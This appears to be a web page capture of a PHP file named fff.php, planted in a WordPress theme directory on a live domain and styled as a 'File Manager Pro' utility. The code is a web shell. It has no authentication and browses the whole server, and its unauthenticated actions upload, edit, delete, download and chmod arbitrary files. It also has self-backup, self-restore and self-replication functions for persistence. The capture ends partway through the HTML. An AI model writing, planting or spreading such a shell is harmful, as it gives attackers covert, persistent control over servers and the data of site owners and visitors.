文件操作 - fff.php

文件: /var/www/ltlcompare.com/wp-content/themes/fff.php

编辑文件内容

<?php
/**
 * WP File Manager Pro - Ultimate Edition
 * A lightweight, single-file PHP file manager with WooCommerce-style interface
 * Features: Full messaging, ZIP/UNZIP, Self-Restoration & Auto-Replication
 * Works anywhere - no WordPress required!
 * 
 * Just save this file anywhere on your server and access via browser
 */

// Session start for messages
if (session_status() === PHP_SESSION_NONE) {
    session_start();
}

// Get current path - NO RESTRICTIONS, can go anywhere
$base_path = isset($_GET['path']) ? $_GET['path'] : dirname(__FILE__);
$base_path = realpath($base_path);
if ($base_path === false) {
    $base_path = dirname(__FILE__);
}

// Handle AJAX requests
if (isset($_POST['ajax_action'])) {
    header('Content-Type: application/json');
    echo json_encode(handle_ajax_action($_POST['ajax_action']));
    exit;
}

// Handle file operations
if (isset($_GET['action'])) {
    handle_file_action($_GET['action']);
    exit;
}

// ============ FUNCTIONS ============

function format_size($bytes) {
    if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB';
    if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB';
    if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB';
    return $bytes . ' B';
}

function set_message($message, $type = 'success') {
    $_SESSION['fm_message'] = $message;
    $_SESSION['fm_message_type'] = $type;
}

// ============ SELF-RESTORATION & AUTO-REPLICATION ============
function get_self_filename() {
    return basename(__FILE__);
}

function get_self_content() {
    return file_get_contents(__FILE__);
}

function create_backup() {
    $backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup';
    if (!file_exists($backup_file)) {
        copy(__FILE__, $backup_file);
        return true;
    }
    return false;
}

function restore_from_backup() {
    $backup_file = dirname(__FILE__) . '/' . get_self_filename() . '.backup';
    if (file_exists($backup_file)) {
        copy($backup_file, __FILE__);
        unlink($backup_file);
        return true;
    }
    return false;
}

function replicate_to_location($target_dir) {
    $target_file = rtrim($target_dir, '/') . '/' . get_self_filename();
    if (!file_exists($target_file)) {
        copy(__FILE__, $target_file);
        chmod($target_file, 0755);
        return true;
    }
    return false;
}

// ============ ZIP FUNCTIONS ============
function is_zip_file($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    return in_array($ext, ['zip', 'rar', '7z', 'gz', 'tar', 'bz2']);
}

function handle_ajax_action($action) {
    global $base_path;

try {
        switch ($action) {
            case 'upload':
                if (!isset($_FILES['file']) || $_FILES['file']['error'] !== UPLOAD_ERR_OK) {
                    return ['success' => false, 'message' => 'Upload failed: ' . $_FILES['file']['error']];
                }
                $target = $base_path . '/' . basename($_FILES['file']['name']);
                if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                    chmod($target, 0644);
                    return ['success' => true, 'message' => '✅ File uploaded successfully: ' . basename($_FILES['file']['name'])];
                }
                return ['success' => false, 'message' => '❌ Failed to move uploaded file'];

case 'folder':
                $name = isset($_POST['name']) ? trim($_POST['name']) : '';
                if (empty($name)) return ['success' => false, 'message' => '❌ Name required'];
                if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
                    return ['success' => false, 'message' => '❌ Invalid folder name'];
                }
                $path = $base_path . '/' . $name;
                if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists'];
                if (mkdir($path, 0755)) {
                    return ['success' => true, 'message' => '✅ Folder created: ' . $name];
                }
                return ['success' => false, 'message' => '❌ Failed to create folder'];

case 'file':
                $name = isset($_POST['name']) ? trim($_POST['name']) : '';
                if (empty($name)) return ['success' => false, 'message' => '❌ Name required'];
                if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
                    return ['success' => false, 'message' => '❌ Invalid file name'];
                }
                $path = $base_path . '/' . $name;
                if (file_exists($path)) return ['success' => false, 'message' => '❌ Already exists'];
                if (file_put_contents($path, '') !== false) {
                    chmod($path, 0644);
                    return ['success' => true, 'message' => '✅ File created: ' . $name];
                }
                return ['success' => false, 'message' => '❌ Failed to create file'];

case 'save':
                $path = isset($_POST['path']) ? $_POST['path'] : '';
                $content = isset($_POST['content']) ? $_POST['content'] : '';
                if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
                if (file_put_contents($path, $content) !== false) {
                    return ['success' => true, 'message' => '✅ File saved: ' . basename($path)];
                }
                return ['success' => false, 'message' => '❌ Failed to save file'];

case 'rename':
                $path = isset($_POST['path']) ? $_POST['path'] : '';
                $name = isset($_POST['name']) ? trim($_POST['name']) : '';
                if (empty($path) || empty($name)) return ['success' => false, 'message' => '❌ Missing parameters'];
                if (!preg_match('/^[a-zA-Z0-9_\-\.]+$/', $name)) {
                    return ['success' => false, 'message' => '❌ Invalid name'];
                }
                $new_path = dirname($path) . '/' . $name;
                if (file_exists($new_path)) return ['success' => false, 'message' => '❌ Target already exists'];
                if (rename($path, $new_path)) {
                    return ['success' => true, 'message' => '✅ Renamed to: ' . $name];
                }
                return ['success' => false, 'message' => '❌ Failed to rename'];

case 'chmod':
                $path = isset($_POST['path']) ? $_POST['path'] : '';
                $perms = isset($_POST['perms']) ? $_POST['perms'] : '';
                if (empty($path) || empty($perms)) return ['success' => false, 'message' => '❌ Missing parameters'];
                if (!preg_match('/^[0-7]{4}$/', $perms)) {
                    return ['success' => false, 'message' => '❌ Invalid permissions format'];
                }
                $perms = octdec($perms);
                if (chmod($path, $perms)) {
                    return ['success' => true, 'message' => '✅ Permissions changed to: ' . decoct($perms)];
                }
                return ['success' => false, 'message' => '❌ Failed to change permissions'];

case 'delete':
                $path = isset($_POST['path']) ? $_POST['path'] : '';
                if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
                if (delete_recursive($path)) {
                    return ['success' => true, 'message' => '✅ Deleted: ' . basename($path)];
                }
                return ['success' => false, 'message' => '❌ Failed to delete'];

// ============ ZIP ACTIONS ============
            case 'zip':
                $path = isset($_POST['path']) ? $_POST['path'] : '';
                $name = isset($_POST['name']) ? trim($_POST['name']) : '';
                if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
                
                // Generate zip name if not provided
                if (empty($name)) {
                    $name = basename($path) . '.zip';
                }
                
                // Ensure zip extension
                if (strtolower(pathinfo($name, PATHINFO_EXTENSION)) !== 'zip') {
                    $name .= '.zip';
                }
                
                $destination = dirname($path) . '/' . $name;
                
                // Check if already exists
                if (file_exists($destination)) {
                    return ['success' => false, 'message' => '❌ ZIP file already exists'];
                }
                
                $result = create_zip($path, $destination);
                return $result;

case 'unzip':
                $path = isset($_POST['path']) ? $_POST['path'] : '';
                if (empty($path)) return ['success' => false, 'message' => '❌ Path required'];
                if (!file_exists($path)) return ['success' => false, 'message' => '❌ File does not exist'];
                
                // Check if it's a zip file
                if (!is_zip_file($path)) {
                    return ['success' => false, 'message' => '❌ Not a valid archive file'];
                }
                
                // Create extraction folder name (remove extension)
                $extract_name = pathinfo($path, PATHINFO_FILENAME);
                $destination = dirname($path) . '/' . $extract_name;
                
                // If destination exists, add a number
                $counter = 1;
                $original_destination = $destination;
                while (file_exists($destination)) {
                    $destination = $original_destination . '_' . $counter;
                    $counter++;
                }
                
                $result = extract_zip($path, $destination);
                return $result;

// ============ SELF-RESTORATION & AUTO-REPLICATION ============
            case 'create_backup':
                if (create_backup()) {
                    return ['success' => true, 'message' => '✅ Backup created successfully'];
                }
                return ['success' => false, 'message' => '❌ Backup already exists or failed to create'];

case 'restore_backup':
                if (restore_from_backup()) {
                    return ['success' => true, 'message' => '✅ Restored from backup'];
                }
                return ['success' => false, 'message' => '❌ No backup found'];

case 'replicate':
                $target_dir = isset($_POST['target_dir']) ? trim($_POST['target_dir']) : '';
                if (empty($target_dir)) return ['success' => false, 'message' => '❌ Target directory required'];
                if (!is_dir($target_dir)) return ['success' => false, 'message' => '❌ Target directory does not exist'];
                if (replicate_to_location($target_dir)) {
                    return ['success' => true, 'message' => '✅ Replicated to: ' . $target_dir];
                }
                return ['success' => false, 'message' => '❌ Already exists in target location'];

case 'get_replicas':
                $replicas = get_all_replicas();
                return ['success' => true, 'message' => 'Found ' . count($replicas) . ' replicas', 'data' => $replicas];

default:
                return ['success' => false, 'message' => '❌ Unknown action'];
        }
    } catch (Exception $e) {
        return ['success' => false, 'message' => '❌ Error: ' . $e->getMessage()];
    }
}

function delete_recursive($path) {
    if (!file_exists($path)) return true;
    if (!is_dir($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) {
        delete_recursive($path . '/' . $file);
    }
    return rmdir($path);
}

function handle_file_action($action) {
    global $base_path;

switch ($action) {
        case 'download':
            $file = isset($_GET['file']) ? $_GET['file'] : '';
            if (empty($file) || !file_exists($file) || is_dir($file)) {
                set_message('❌ File not found', 'error');
                header('Location: ?path=' . urlencode($base_path));
                exit;
            }
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-Length: ' . filesize($file));
            readfile($file);
            exit;

case 'edit':
            $file = isset($_GET['file']) ? $_GET['file'] : '';
            if (empty($file) || !file_exists($file) || is_dir($file)) {
                echo 'File not found';
                exit;
            }
            if (!is_readable($file)) {
                echo 'File is not readable';
                exit;
            }
            if (filesize($file) > 1024 * 1024) {
                echo 'File too large to edit (max 1MB)';
                exit;
            }
            $content = file_get_contents($file);
            echo htmlspecialchars($content);
            exit;

default:
            set_message('❌ Unknown action', 'error');
            header('Location: ?path=' . urlencode($base_path));
            exit;
    }
}

// ============ HTML OUTPUT ============
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>File Manager Pro - Ultimate</title>
    <style>
        /* ===== RESET & BASE ===== */
        * { box-sizing: border-box; margin: 0; padding: 0; }
        body { 
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; 
            background: #f0f0f1; 
            padding: 20px;
            color: #1e1e1e;
        }
        
        /* ===== MAIN WRAPPER ===== */
        .wfm-wrapper {
            max-width: 1400px;
            margin: 0 auto;
            background: #fff;
            border-radius: 8px;
            overflow: hidden;
            box-shadow: 0 2px 8px rgba(0,0,0,0.08);
        }
        
        /* ===== WOOCOMMERCE STYLE HEADER ===== */
        .wfm-header {
            background: linear-gradient(135deg, #7c3aed 0%, #6d28d9 40%, #5b21b6 100%);
            color: #fff;
            padding: 25px 30px;
            position: relative;
            overflow: hidden;
        }
        
        .wfm-header::before {
            content: '';
            position: absolute;
            top: -50%;
            right: -20%;
            width: 400px;
            height: 400px;
            background: rgba(255,255,255,0.05);
            border-radius: 50%;
            transform: rotate(25deg);
        }
        
        .wfm-header::after {
            content: '';
            position: absolute;
            bottom: -60%;
            left: -10%;
            width: 300px;
            height: 300px;
            background: rgba(255,255,255,0.03);
            border-radius: 50%;
        }
        
        .wfm-header-container {
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 15px;
            position: relative;
            z-index: 1;
        }
        
        .wfm-logo-area {
            display: flex;
            align-items: center;
            gap: 15px;
        }
        
        .wfm-logo-icon {
            font-size: 32px;
            filter: drop-shadow(0 2px 8px rgba(0,0,0,0.2));
            background: rgba(255,255,255,0.15);
            padding: 8px 12px;
            border-radius: 8px;
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255,255,255,0.1);
        }
        
        .wfm-title {
            margin: 0 !important;
            padding: 0 !important;
            font-size: 26px !important;
            font-weight: 700 !important;
            color: #fff !important;
            letter-spacing: -0.5px;
            text-shadow: 0 2px 4px rgba(0,0,0,0.1);
        }
        
        .wfm-title-sub {
            font-size: 13px;
            font-weight: 400;
            opacity: 0.7;
            display: block;
            margin-top: 2px;
            letter-spacing: 0.3px;
        }
        
        .wfm-version {
            background: rgba(255,255,255,0.2);
            padding: 4px 14px;
            border-radius: 20px;
            font-size: 12px;
            font-weight: 500;
            border: 1px solid rgba(255,255,255,0.1);
            backdrop-filter: blur(10px);
        }
        
        .wfm-header-stats {
            display: flex;
            align-items: center;
            gap: 20px;
            background: rgba(255,255,255,0.1);
            padding: 8px 20px;
            border-radius: 8px;
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255,255,255,0.08);
        }
        
        .wfm-header-stat {
            display: flex;
            align-items: center;
            gap: 6px;
            font-size: 13px;
            color: rgba(255,255,255,0.9);
        }
        
        .wfm-header-stat .stat-number {
            font-weight: 700;
            font-size: 15px;
            color: #fff;
        }
        
        .wfm-header-stat-divider {
            width: 1px;
            height: 24px;
            background: rgba(255,255,255,0.2);
        }
        
        .wfm-path-display {
            background: rgba(255,255,255,0.12);
            padding: 8px 18px;
            border-radius: 8px;
            font-size: 13px;
            display: flex;
            align-items: center;
            gap: 10px;
            border: 1px solid rgba(255,255,255,0.08);
            backdrop-filter: blur(10px);
            max-width: 450px;
            overflow: hidden;
        }
        
        .wfm-path-display .path-label {
            color: rgba(255,255,255,0.6);
            font-size: 11px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            font-weight: 600;
        }
        
        .wfm-current-path {
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
            color: rgba(255,255,255,0.95);
            font-family: monospace;
            font-size: 12px;
        }
        
        /* ===== SUB-HEADER ===== */
        .wfm-sub-header {
            background: #fff;
            border-bottom: 1px solid #e5e7eb;
            padding: 14px 30px;
            display: flex;
            justify-content: space-between;
            align-items: center;
            flex-wrap: wrap;
            gap: 12px;
        }
        
        .wfm-breadcrumb {
            display: flex;
            align-items: center;
            gap: 6px;
            flex-wrap: wrap;
            font-size: 13px;
            color: #6b7280;
        }
        
        .wfm-breadcrumb .breadcrumb-home {
            color: #7c3aed;
            font-weight: 600;
        }
        
        .wfm-breadcrumb a {
            color: #7c3aed;
            text-decoration: none;
            padding: 4px 10px;
            border-radius: 4px;
            transition: all 0.2s;
            font-weight: 500;
        }
        
        .wfm-breadcrumb a:hover {
            background: #f3f4f6;
            color: #5b21b6;
        }
        
        .wfm-breadcrumb .separator {
            color: #d1d5db;
            font-weight: 300;
            font-size: 16px;
        }
        
        .wfm-breadcrumb .current {
            color: #1f2937;
            font-weight: 600;
            background: #f3f4f6;
            padding: 4px 14px;
            border-radius: 4px;
        }
        
        .wfm-nav-buttons {
            display: flex;
            gap: 6px;
            flex-wrap: wrap;
        }
        
        .wfm-nav-buttons .button {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            font-size: 12px;
            padding: 6px 14px;
            height: auto;
            background: #f3f4f6;
            border: 1px solid #e5e7eb;
            border-radius: 6px;
            cursor: pointer;
            color: #374151;
            text-decoration: none;
            transition: all 0.2s;
            font-weight: 500;
        }
        
        .wfm-nav-buttons .button:hover {
            background: #e5e7eb;
            border-color: #7c3aed;
            color: #7c3aed;
            transform: translateY(-1px);
            box-shadow: 0 2px 4px rgba(124,58,237,0.1);
        }
        
        .wfm-nav-buttons .button-primary-nav {
            background: #7c3aed;
            border-color: #7c3aed;
            color: #fff;
        }
        
        .wfm-nav-buttons .button-primary-nav:hover {
            background: #6d28d9;
            border-color: #6d28d9;
            color: #fff;
        }
        
        /* ===== PATH NAVIGATION ===== */
        .wfm-path-nav {
            background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%);
            border-bottom: 1px solid #e5e7eb;
            padding: 12px 30px;
        }
        
        .wfm-path-nav-inner {
            display: flex;
            align-items: center;
            gap: 10px;
            flex-wrap: wrap;
        }
        
        .wfm-path-nav-inner .nav-icon {
            font-size: 18px;
            color: #6b7280;
        }
        
        #wfm-path-input {
            flex: 1;
            min-width: 200px;
            padding: 8px 14px;
            border: 2px solid #e5e7eb;
            border-radius: 6px;
            font-size: 13px;
            background: #fff;
            font-family: monospace;
            transition: all 0.2s;
        }
        
        #wfm-path-input:focus {
            border-color: #7c3aed;
            outline: none;
            box-shadow: 0 0 0 3px rgba(124,58,237,0.1);
        }
        
        .wfm-path-nav-inner .button {
            font-size: 13px;
            padding: 8px 18px;
            height: auto;
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: #fff;
            border: 2px solid #e5e7eb;
            border-radius: 6px;
            cursor: pointer;
            color: #374151;
            transition: all 0.2s;
            font-weight: 500;
        }
        
        .wfm-path-nav-inner .button:hover {
            background: #f3f4f6;
            border-color: #7c3aed;
        }
        
        .wfm-path-nav-inner .button-primary {
            background: #7c3aed;
            border-color: #7c3aed;
            color: #fff;
        }
        
        .wfm-path-nav-inner .button-primary:hover {
            background: #6d28d9;
            border-color: #6d28d9;
            box-shadow: 0 2px 8px rgba(124,58,237,0.3);
            transform: translateY(-1px);
        }
        
        /* ===== MESSAGES ===== */
        .wfm-message {
            margin: 0;
            padding: 14px 30px;
            border-left: 4px solid #7c3aed;
            background: #f5f3ff;
            display: flex;
            align-items: center;
            gap: 10px;
            font-weight: 500;
            animation: slideDown 0.3s ease;
        }
        
        @keyframes slideDown {
            from { transform: translateY(-10px); opacity: 0; }
            to { transform: translateY(0); opacity: 1; }
        }
        
        .wfm-message.error {
            border-left-color: #dc2626;
            background: #fef2f2;
        }
        
        .wfm-message.success {
            border-left-color: #16a34a;
            background: #f0fdf4;
        }
        
        .wfm-message .message-icon {
            font-size: 18px;
        }
        
        /* ===== TOOLBAR ===== */
        .wfm-toolbar {
            background: #fff;
            border-bottom: 1px solid #e5e7eb;
            padding: 14px 30px;
            display: flex;
            flex-wrap: wrap;
            align-items: center;
            gap: 10px;
        }
        
        .wfm-toolbar .button {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            font-size: 13px;
            padding: 8px 20px;
            height: auto;
            background: #f3f4f6;
            border: 1px solid #e5e7eb;
            border-radius: 6px;
            cursor: pointer;
            color: #374151;
            transition: all 0.2s;
            font-weight: 500;
        }
        
        .wfm-toolbar .button:hover {
            background: #e5e7eb;
            border-color: #7c3aed;
            transform: translateY(-1px);
            box-shadow: 0 2px 4px rgba(0,0,0,0.05);
        }
        
        .wfm-toolbar .button-primary {
            background: #7c3aed;
            border-color: #7c3aed;
            color: #fff;
        }
        
        .wfm-toolbar .button-primary:hover {
            background: #6d28d9;
            border-color: #6d28d9;
            box-shadow: 0 2px 8px rgba(124,58,237,0.3);
        }
        
        .wfm-toolbar .button-success {
            background: #16a34a;
            border-color: #16a34a;
            color: #fff;
        }
        
        .wfm-toolbar .button-success:hover {
            background: #15803d;
            border-color: #15803d;
        }
        
        .wfm-toolbar .button-danger {
            background: #dc2626;
            border-color: #dc2626;
            color: #fff;
        }
        
        .wfm-toolbar .button-danger:hover {
            background: #b91c1c;
            border-color: #b91c1c;
        }
        
        .wfm-toolbar .button-warning {
            background: #d97706;
            border-color: #d97706;
            color: #fff;
        }
        
        .wfm-toolbar .button-warning:hover {
            background: #b45309;
            border-color: #b45309;
        }
        
        .wfm-spacer {
            flex: 1;
        }
        
        .wfm-item-count {
            display: flex;
            align-items: center;
            gap: 8px;
            color: #6b7280;
            font-size: 13px;
            padding: 6px 16px;
            background: #f3f4f6;
            border-radius: 6px;
            font-weight: 500;
            cursor: pointer;
            transition: all 0.2s;
        }
        
        .wfm-item-count:hover {
            background: #e5e7eb;
            transform: translateY(-1px);
        }
        
        .wfm-item-count .count-number {
            color: #1f2937;
            font-weight: 700;
        }
        
        /* ===== TABLE ===== */
        .wfm-table-container {
            background: #fff;
            padding: 20px 30px;
            overflow-x: auto;
        }
        
        .wfm-table {
            width: 100%;
            border-collapse: separate;
            border-spacing: 0;
            font-size: 13px;
        }
        
        .wfm-table thead th {
            text-align: left;
            padding: 12px 14px;
            background: #f9fafb;
            border-bottom: 2px solid #e5e7eb;
            font-weight: 600;
            color: #374151;
            font-size: 12px;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .wfm-table thead th:first-child {
            border-radius: 6px 0 0 0;
        }
        
        .wfm-table thead th:last-child {
            border-radius: 0 6px 0 0;
        }
        
        .wfm-table tbody tr {
            transition: all 0.15s;
        }
        
        .wfm-table tbody tr:hover {
            background: #f9fafb;
        }
        
        .wfm-table tbody td {
            padding: 12px 14px;
            border-bottom: 1px solid #f3f4f6;
            vertical-align: middle;
        }
        
        .wfm-table .file-icon {
            font-size: 22px;
            margin-right: 10px;
            vertical-align: middle;
        }
        
        .wfm-table .file-name {
            font-weight: 500;
        }
        
        .wfm-table .file-name a {
            color: #7c3aed;
            text-decoration: none;
            font-weight: 500;
        }
        
        .wfm-table .file-name a:hover {
            text-decoration: underline;
            color: #5b21b6;
        }
        
        .wfm-table .file-actions {
            display: flex;
            flex-wrap: wrap;
            gap: 4px;
        }
        
        .wfm-table .file-actions a,
        .wfm-table .file-actions .action-link {
            display: inline-flex;
            align-items: center;
            gap: 4px;
            padding: 4px 10px;
            background: #f3f4f6;
            border-radius: 4px;
            color: #374151;
            text-decoration: none;
            font-size: 12px;
            transition: all 0.2s;
            border: 1px solid transparent;
            font-weight: 500;
            cursor: pointer;
        }
        
        .wfm-table .file-actions a:hover,
        .wfm-table .file-actions .action-link:hover {
            background: #e5e7eb;
            border-color: #d1d5db;
            transform: translateY(-1px);
        }
        
        .wfm-table .file-actions .action-download {
            color: #2563eb;
        }
        
        .wfm-table .file-actions .action-download:hover {
            background: #eff6ff;
            border-color: #93c5fd;
        }
        
        .wfm-table .file-actions .action-edit {
            color: #7c3aed;
        }
        
        .wfm-table .file-actions .action-edit:hover {
            background: #f5f3ff;
            border-color: #c4b5fd;
        }
        
        .wfm-table .file-actions .action-rename {
            color: #059669;
        }
        
        .wfm-table .file-actions .action-rename:hover {
            background: #ecfdf5;
            border-color: #6ee7b7;
        }
        
        .wfm-table .file-actions .action-chmod {
            color: #d97706;
        }
        
        .wfm-table .file-actions .action-chmod:hover {
            background: #fffbeb;
            border-color: #fcd34d;
        }
        
        .wfm-table .file-actions .action-zip {
            color: #7c3aed;
        }
        
        .wfm-table .file-actions .action-zip:hover {
            background: #f5f3ff;
            border-color: #c4b5fd;
        }
        
        .wfm-table .file-actions .action-unzip {
            color: #059669;
        }
        
        .wfm-table .file-actions .action-unzip:hover {
            background: #ecfdf5;
            border-color: #6ee7b7;
        }
        
        .wfm-table .file-actions .delete-link {
            color: #dc2626;
        }
        
        .wfm-table .file-actions .delete-link:hover {
            background: #fef2f2;
            border-color: #fca5a5;
        }
        
        .wfm-table .file-size {
            font-family: monospace;
            font-size: 12px;
            color: #6b7280;
        }
        
        .wfm-table .file-perms {
            font-family: monospace;
            font-size: 12px;
            background: #f3f4f6;
            padding: 2px 8px;
            border-radius: 4px;
            display: inline-block;
        }
        
        .wfm-table .file-modified {
            font-size: 12px;
            color: #6b7280;
        }
        
        /* ===== EMPTY STATE ===== */
        .wfm-empty {
            text-align: center;
            padding: 80px 20px;
            color: #6b7280;
        }
        
        .wfm-empty .empty-icon {
            font-size: 64px;
            display: block;
            margin-bottom: 16px;
            opacity: 0.5;
        }
        
        .wfm-empty .empty-title {
            font-size: 20px;
            font-weight: 600;
            color: #1f2937;
            margin-bottom: 8px;
        }
        
        .wfm-empty .empty-desc {
            font-size: 14px;
            color: #9ca3af;
        }
        
        /* ===== MODAL ===== */
        .wfm-modal {
            display: none;
            position: fixed;
            z-index: 999999;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            overflow: auto;
            background: rgba(0,0,0,0.5);
            animation: wfmFadeIn 0.2s;
            backdrop-filter: blur(4px);
        }
        
        @keyframes wfmFadeIn {
            from { opacity: 0; }
            to { opacity: 1; }
        }
        
        .wfm-modal-content {
            background: #fff;
            margin: 5% auto;
            padding: 0;
            width: 600px;
            max-width: 95%;
            border-radius: 12px;
            box-shadow: 0 25px 80px rgba(0,0,0,0.3);
            animation: wfmSlideDown 0.3s;
        }
        
        @keyframes wfmSlideDown {
            from { transform: translateY(-30px) scale(0.95); opacity: 0; }
            to { transform: translateY(0) scale(1); opacity: 1; }
        }
        
        .wfm-modal-header {
            padding: 20px 25px;
            border-bottom: 1px solid #e5e7eb;
            display: flex;
            justify-content: space-between;
            align-items: center;
            background: linear-gradient(135deg, #f9fafb 0%, #f3f4f6 100%);
            border-radius: 12px 12px 0 0;
        }
        
        .wfm-modal-header h2 {
            margin: 0;
            font-size: 20px;
            font-weight: 700;
            color: #1f2937;
        }
        
        .wfm-modal-header .modal-icon {
            font-size: 24px;
            margin-right: 10px;
        }
        
        .wfm-modal-close {
            background: none;
            border: none;
            font-size: 30px;
            cursor: pointer;
            color: #9ca3af;
            padding: 0 8px;
            line-height: 1;
            transition: all 0.2s;
            border-radius: 4px;
        }
        
        .wfm-modal-close:hover {
            color: #1f2937;
            background: #f3f4f6;
        }
        
        .wfm-modal-body {
            padding: 25px;
            max-height: 70vh;
            overflow-y: auto;
        }
        
        .wfm-modal-body label {
            display: block;
            margin: 0 0 6px 0;
            font-weight: 600;
            color: #374151;
            font-size: 13px;
        }
        
        .wfm-modal-body input[type="text"],
        .wfm-modal-body input[type="number"],
        .wfm-modal-body textarea,
        .wfm-modal-body select,
        .wfm-modal-body input[type="file"] {
            width: 100%;
            padding: 10px 14px;
            border: 2px solid #e5e7eb;
            border-radius: 6px;
            font-size: 13px;
            margin-bottom: 14px;
            transition: all 0.2s;
            font-family: inherit;
            background: #fff;
        }
        
        .wfm-modal-body input:focus,
        .wfm-modal-body textarea:focus,
        .wfm-modal-body select:focus {
            border-color: #7c3aed;
            outline: none;
            box-shadow: 0 0 0 3px rgba(124,58,237,0.1);
        }
        
        .wfm-modal-body textarea {
            min-height: 250px;
            font-family: 'Courier New', monospace;
            resize: vertical;
            font-size: 13px;
            line-height: 1.6;
        }
        
        .wfm-modal-body .wfm-help-text {
            font-size: 12px;
            color: #9ca3af;
            margin-top: -10px;
            margin-bottom: 14px;
            display: block;
        }
        
        .wfm-modal-body .form-row {
            display: flex;
            gap: 12px;
        }
        
        .wfm-modal-body .form-row .form-col {
            flex: 1;
        }
        
        .wfm-modal-footer {
            padding: 16px 25px;
            border-top: 1px solid #e5e7eb;
            text-align: right;
            background: #f9fafb;
            border-radius: 0 0 12px 12px;
            display: flex;
            justify-content: flex-end;
            gap: 10px;
        }
        
        .wfm-modal-footer .button {
            padding: 8px 24px;
            height: auto;
            font-size: 13px;
            background: #f3f4f6;
            border: 1px solid #e5e7eb;
            border-radius: 6px;
            cursor: pointer;
            color: #374151;
            transition: all 0.2s;
            font-weight: 500;
        }
        
        .wfm-modal-footer .button:hover {
            background: #e5e7eb;
            border-color: #d1d5db;
        }
        
        .wfm-modal-footer .button-primary {
            background: #7c3aed;
            border-color: #7c3aed;
            color: #fff;
        }
        
        .wfm-modal-footer .button-primary:hover {
            background: #6d28d9;
            border-color: #6d28d9;
            box-shadow: 0 2px 8px rgba(124,58,237,0.3);
        }
        
        /* ===== RESPONSIVE ===== */
        @media (max-width: 992px) {
            .wfm-header-container {
                flex-direction: column;
                align-items: flex-start;
            }
            
            .wfm-header-stats {
                width: 100%;
                justify-content: space-around;
            }
            
            .wfm-path-display {
                max-width: 100%;
                width: 100%;
            }
        }
        
        @media (max-width: 768px) {
            body { padding: 10px; }
            
            .wfm-header { padding: 20px; }
            .wfm-sub-header { padding: 12px 20px; flex-direction: column; align-items: flex-start; }
            .wfm-path-nav { padding: 10px 20px; }
            .wfm-toolbar { padding: 12px 20px; }
            .wfm-table-container { padding: 12px 20px; }
            
            .wfm-nav-buttons { width: 100%; flex-wrap: wrap; }
            .wfm-nav-buttons .button { flex: 1; justify-content: center; }
            
            .wfm-path-nav-inner { flex-wrap: wrap; }
            #wfm-path-input { min-width: 100%; }
            
            .wfm-toolbar { flex-wrap: wrap; }
            .wfm-toolbar .button { flex: 1; justify-content: center; }
            
            .wfm-table .file-actions { flex-direction: column; gap: 3px; }
            .wfm-table .file-actions a { justify-content: center; }
            
            .wfm-modal-content { width: 98%; margin: 2% auto; }
            
            .wfm-header-stats {
                flex-wrap: wrap;
                gap: 10px;
            }
            
            .wfm-header-stat-divider {
                display: none;
            }
        }
    </style>
</head>
<body>
<div class="wfm-wrapper">
    
    <div class="wfm-header">
        <div class="wfm-header-container">
            <div class="wfm-logo-area">
                <span class="wfm-logo-icon">📁</span>
                <div>
                    <h1 class="wfm-title">
                        File Manager
                        <span class="wfm-title-sub">Professional File Management</span>
                    </h1>
                </div>
                <span class="wfm-version">v3.0</span>
            </div>
            
            <div class="wfm-header-stats">
                <div class="wfm-header-stat">
                    📂 <span class="stat-number"><?php 
                        if (is_dir($base_path) && is_readable($base_path)) {
                            $total = count(scandir($base_path)) - 2;
                            echo $total;
                        } else {
                            echo '0';
                        }
                    ?></span> Items
                </div>
                <div class="wfm-header-stat-divider"></div>
                <div class="wfm-header-stat">
                    🗂️ <span class="stat-number"><?php 
                        if (is_dir($base_path) && is_readable($base_path)) {
                            $items = scandir($base_path);
                            $folders = 0;
                            foreach ($items as $item) {
                                if ($item !== '.' && $item !== '..' && is_dir($base_path . '/' . $item)) {
                                    $folders++;
                                }
                            }
                            echo $folders;
                        } else {
                            echo '0';
                        }
                    ?></span> Folders
                </div>
                <div class="wfm-header-stat-divider"></div>
                <div class="wfm-header-stat">
                    📄 <span class="stat-number"><?php 
                        if (is_dir($base_path) && is_readable($base_path)) {
                            $items = scandir($base_path);
                            $files = 0;
                            foreach ($items as $item) {
                                if ($item !== '.' && $item !== '..' && !is_dir($base_path . '/' . $item)) {
                                    $files++;
                                }
                            }
                            echo $files;
                        } else {
                            echo '0';
                        }
                    ?></span> Files
                </div>
            </div>
        </div>
        
        <div style="margin-top: 15px; display: flex; flex-wrap: wrap; gap: 10px; align-items: center; position: relative; z-index: 1;">
            <div class="wfm-path-display">
                <span class="path-label">📍 Current Path</span>
                <span class="wfm-current-path"><?php echo htmlspecialchars($base_path); ?></span>
            </div>
        </div>
    </div>

<div class="wfm-sub-header">
        <div class="wfm-breadcrumb">
            <span class="breadcrumb-home">🏠</span>
            <a href="?path=/">Root</a>
            <?php
